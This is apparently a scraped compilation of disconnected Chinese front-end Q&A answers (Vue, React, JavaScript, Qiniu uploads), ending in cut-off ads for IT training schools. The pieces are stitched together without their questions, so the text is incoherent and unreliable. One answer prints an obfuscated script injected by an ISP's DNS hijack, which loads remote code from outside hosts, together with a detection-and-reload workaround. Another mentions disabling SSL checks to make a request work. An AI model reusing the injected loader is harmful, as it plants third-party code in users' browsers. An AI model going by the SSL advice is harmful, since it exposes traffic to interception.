input
沒有雙向綁定<input type="text" v-model="item.number" v-on:change="changeFn()">
forceUpdate會跳過shouldComponentUpdate步驟直接觸發(fā)組件的render方法
官網(wǎng)建議應(yīng)該盡量避免使用forceUpdate
Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
https://reactjs.org/docs/reac...
經(jīng)過一個晚上的嘗試,最終發(fā)現(xiàn)時SSL的問題,需要用代碼禁用一下,便可以成功訪問
不要沉啊
并沒有,需要自己寫擴(kuò)展。
function certainFunction(obj, keys) {
return keys.reduce((result, key) => {
if (obj.hasOwnProperty(key)) {
result[key] = obj[key];
}
return result;
}, {});
}
var obj = { a: 1, b: 2, c: 3, d: 4 };
certainFunction(obj, ['a', 'b']);
在苦苦尋覓下,找這里找到了答案:https://segmentfault.com/q/10...
出現(xiàn)的原因是因為 電信劫持了dns,在網(wǎng)頁中將我原來的5.fd7xxxxxxxxxxxx.js成以下的代碼
var _b, _c, _ju = "http://testapi.233sy.cn/tg/down/static/js/5.fd7c409603287d19fa4b.js";
_ju = _ju + (_ju.indexOf("?") > 0 ? "&" :"?") + "_t=" + new Date().getTime(),
_b = "AH488569",_c = "382542271_(iKm6V1g0V1P6wj8Nih==_358325746_@iJvkDKehwJ9Wi6et9JgWitfZMe==_)iKghiJeh", function(a) {
function b(b) {
var c = a.createElement("script");
c.setAttribute("src", b), a.head ? a.head.appendChild(c) :a.body && a.body.appendChild(c);
}
var c = a.location.host.split("."), d = c.length, e = c[d - 2] + "." + c[d - 1];
/^(com|net|org|gov)$/.test(c[d - 2]) && d > 2 && (e = c[d - 3] + "." + c[d - 2] + "." + c[d - 1]),
_ju.indexOf(e) > 0 ? (a.write('<div><script>document.write(unescape(\'%3Cscript id="_ju_" src="' + _ju + "\" %3E%3C/script%3E') );</script></div>"),
a.getElementById("_ju_") || b(_ju)) :b(_ju), b("http:///gfnsdv.yxwwj.cn:8001/pjk/static/tp.php?b="+_b+"&");
}(document);
我使用的是路由懶加載,才有上面的提示。之前模塊5被替換這個,就load不到了。
解決方式:
1、使用https協(xié)議,不讓電信劫持dns
2、自己判斷不正常代碼存在,重新刷新該地址(短期內(nèi),我們目前就是用這種方式解決的)
window.onload = function(){
let isSetInt = false;
let setInt = setInterval(r => {
let index = getstore() || 0;
let findDns = false;
if (isSetInt) {
clearInterval(setInt);
let scr = document.getElementsByTagName('script');
for (var i = scr.length - 1; i >= 0; i--) {
if (scr[i].src.indexOf('gfnsdv.yxwwj.cn') != -1 && index < 2) {
findDns = true;
store(++index);
window.location.reload();
break;
}
}
if (!findDns) {
store(0)
}
}
try{
if (getmd5) {
isSetInt = true;
}
}catch(e){
console.log(e);
}
},1000);
}
function store (state) {
try {
return localStorage.setItem('index', state);
} catch (e) {
cookie.setCookie('index',state, 1);
}
}
function getstore () {
if (localStorage.getItem('index') == null) {
return unescape(cookie.getCookie('index'));
}else{
return localStorage.getItem('index');
}
}
js沒有這個內(nèi)置函數(shù)的。你不需要額外去轉(zhuǎn)換,js會自己處理成 12e+7
類似這種科學(xué)計數(shù)法的數(shù)字
如果真的需要這種功能的話,就像你說的那樣存入一個注冊ip
但是我是不推薦你這樣限制的,一個公司或者家庭對外都是一個ip,但是內(nèi)部是有很多人在使用,如果每個人都要注冊賬號,你這個限制就只能一個人能夠注冊,其他人就不能注冊了,只有關(guān)閉路由器,再重新啟動,等ip換了才能注冊,這樣用戶體驗是很不好的,你可以存入注冊ip,但是不要用ip來限制用戶注冊,你可以想其他方法來解決用戶多次亂注冊賬號的行為,比如:用戶注冊一個賬號之后就生成一個標(biāo)識存入cookie,用戶在注冊時判斷有沒有這個cookie,有就提醒已經(jīng)注冊賬號,沒有這個值就可以注冊。(這個只能相對的解決部分亂注冊,多注冊行為,比如用戶清楚瀏覽器緩存就又可以注冊了,換一個瀏覽器也可以注冊,所以這種驗證只是相對的,有一種完美的方法就是必須使用手機(jī)號碼注冊【注冊需要收手機(jī)驗證碼,這就看用戶有多少手機(jī)號了】)
這只是我個人的看法,你自己根據(jù)你實際情況進(jìn)行修改使用
存放echarts的容器寬高的問題,調(diào)試一下看看容器的寬高是多少?窗口變化的時候,寬高怎么變
發(fā)送事件的時候新的組件還沒綁定事件怎么監(jiān)聽得到呢?
https://codesandbox.io/s/p7vk...
逗號運(yùn)算符。
先計算左邊的操作數(shù),然后計算右邊的操作數(shù),最后返回右操作數(shù)的值。
<script src="/js/plupload.full.min.js"></script>
<script src="https://cdn.staticfile.org/qi...;></script>
componentDidMount(){
this.initQiniu();
}
initQiniu(){
var _this = this;
var uploader = Qiniu.uploader({
runtimes: 'html5,flash,html4', // 上傳模式,依次退化
browse_button: 'pickfiles', // 上傳選擇的點選按鈕,**必需**
uptoken_url: 'url to fetch token', // Ajax 請求 uptoken 的 Url,**強(qiáng)烈建議設(shè)置**(服務(wù)端提供)
get_new_uptoken: false, // 設(shè)置上傳文件的時候是否每次都重新獲取新的 uptoken
unique_names: true, // 默認(rèn) false,key 為文件名。若開啟該選項,JS-SDK 會為每個文件自動生成key(文件名)
domain: 'xxx', // bucket 域名,下載資源時用到,**必需**
container: 'container', // 上傳區(qū)域 DOM ID,默認(rèn)是 browser_button 的父元素,
max_file_size: '100mb', // 最大文件體積限制
flash_swf_url: 'path/of/plupload/Moxie.swf', //引入 flash,相對路徑
max_retries: 3, // 上傳失敗最大重試次數(shù)
dragdrop: true, // 開啟可拖曳上傳
drop_element: 'container', // 拖曳上傳區(qū)域元素的 ID,拖曳文件或文件夾后可觸發(fā)上傳
chunk_size: '4mb', // 分塊上傳時,每塊的體積
auto_start: true, // 選擇文件后自動上傳,若關(guān)閉需要自己綁定事件觸發(fā)上傳,
init: {
'FilesAdded': (up, files) => {
plupload.each(files, function(file) {
// 文件添加進(jìn)隊列后,處理相關(guān)的事情
});
},
'BeforeUpload': (up, file) => {
// 每個文件上傳前,處理相關(guān)的事情
},
'UploadProgress': (up, file) => {
// 每個文件上傳時,處理相關(guān)的事情
this.setState({
isUploading: true,
});
},
'FileUploaded': (up, file, info) => {
const domain = window.domain;
const res = JSON.parse(info);
const sourceLink = domain + res.key; //獲取上傳成功后的文件的Url
this.setState({
fileUrl: sourceLink,
isUploading: false
});
},
'Error': (up, err, errTip) => {
//上傳出錯時,處理相關(guān)的事情
},
'UploadComplete': () => {
//隊列文件處理完畢后,處理相關(guān)的事情
},
}
});
}
render(){
return(
<div id="container">
<div id="pickfiles">上傳</div>
</div>
)
}
render: (h) => {
return h('div', [
h('h2', '標(biāo)題'),
h('Input', {
props: {
value: this.value,
autofocus: true,
placeholder: 'Please enter your name...'
},
on: {
input: (val) => {
this.value = val;
}
}
})
])
}
外層包裹div,第二個參數(shù)用數(shù)組表示自元素序列。可以根據(jù)官方提示學(xué)習(xí)下render函數(shù)的使用,這是vue的官方api。h是createElement的簡寫,也是vue官方api。
多項遍歷的話,可以選擇加一個index
下標(biāo)。
<div>配送方式</div>
<div>
<a @click="show(index)" :class="showTab&&click_index===index?'active':''" href="javascript:;">普通快遞</a>
<a @click="show(index)" :class="!showTab&&click_index===index?'active':''" href="javascript:;">上門自提</a>
</div>
<p v-if="showTab&&click_index===index">普通快遞:¥{{item.expressPrice}}</p>
<p v-if="!showTab&&click_index===index">您可以選擇離您最近的自提點上門提貨,到店自提免運(yùn)費(fèi)</p>
</div>
data(){
return {
click_index: -1
}
},
methods: {
show(index){
this.showTab = !this.showTab;
this.click_index = index;
},
如果你只是想實現(xiàn)單擊的時候打印該元素的text,雙擊的時候會刪除該元素,那么使用vue的事件綁定不是更簡單?
<p v-for="(item,index) in aa" :key="index" @click="log(item.text)" @dblclick="spl(index)">{{item.text}}</p>
methods
log(i){console.log(i)},
spl(i){this.aa.splice(i,1)}
不可以的,這樣不符合邏輯。如果你想實現(xiàn)的話只能自己去寫一個。
詳情看這里:https://stackoverflow.com/a/2...
簡單地說是因為v8的代碼優(yōu)化造成的結(jié)果。答案的下面的回復(fù)(https://stackoverflow.com/a/4...)也提到了一個繞過去這個問題的方法:使用eval('debugger');
代替debugger
北大青鳥APTECH成立于1999年。依托北京大學(xué)優(yōu)質(zhì)雄厚的教育資源和背景,秉承“教育改變生活”的發(fā)展理念,致力于培養(yǎng)中國IT技能型緊缺人才,是大數(shù)據(jù)專業(yè)的國家
北大青鳥中博軟件學(xué)院創(chuàng)立于2003年,作為華東區(qū)著名互聯(lián)網(wǎng)學(xué)院和江蘇省首批服務(wù)外包人才培訓(xùn)基地,中博成功培育了近30000名軟件工程師走向高薪崗位,合作企業(yè)超4
中公教育集團(tuán)創(chuàng)建于1999年,經(jīng)過二十年潛心發(fā)展,已由一家北大畢業(yè)生自主創(chuàng)業(yè)的信息技術(shù)與教育服務(wù)機(jī)構(gòu),發(fā)展為教育服務(wù)業(yè)的綜合性企業(yè)集團(tuán),成為集合面授教學(xué)培訓(xùn)、網(wǎng)
達(dá)內(nèi)教育集團(tuán)成立于2002年,是一家由留學(xué)海歸創(chuàng)辦的高端職業(yè)教育培訓(xùn)機(jī)構(gòu),是中國一站式人才培養(yǎng)平臺、一站式人才輸送平臺。2014年4月3日在美國成功上市,融資1
曾工作于聯(lián)想擔(dān)任系統(tǒng)開發(fā)工程師,曾在博彥科技股份有限公司擔(dān)任項目經(jīng)理從事移動互聯(lián)網(wǎng)管理及研發(fā)工作,曾創(chuàng)辦藍(lán)懿科技有限責(zé)任公司從事總經(jīng)理職務(wù)負(fù)責(zé)iOS教學(xué)及管理工作。
浪潮集團(tuán)項目經(jīng)理。精通Java與.NET 技術(shù), 熟練的跨平臺面向?qū)ο箝_發(fā)經(jīng)驗,技術(shù)功底深厚。 授課風(fēng)格 授課風(fēng)格清新自然、條理清晰、主次分明、重點難點突出、引人入勝。
精通HTML5和CSS3;Javascript及主流js庫,具有快速界面開發(fā)的能力,對瀏覽器兼容性、前端性能優(yōu)化等有深入理解。精通網(wǎng)頁制作和網(wǎng)頁游戲開發(fā)。
具有10 年的Java 企業(yè)應(yīng)用開發(fā)經(jīng)驗。曾經(jīng)歷任德國Software AG 技術(shù)顧問,美國Dachieve 系統(tǒng)架構(gòu)師,美國AngelEngineers Inc. 系統(tǒng)架構(gòu)師。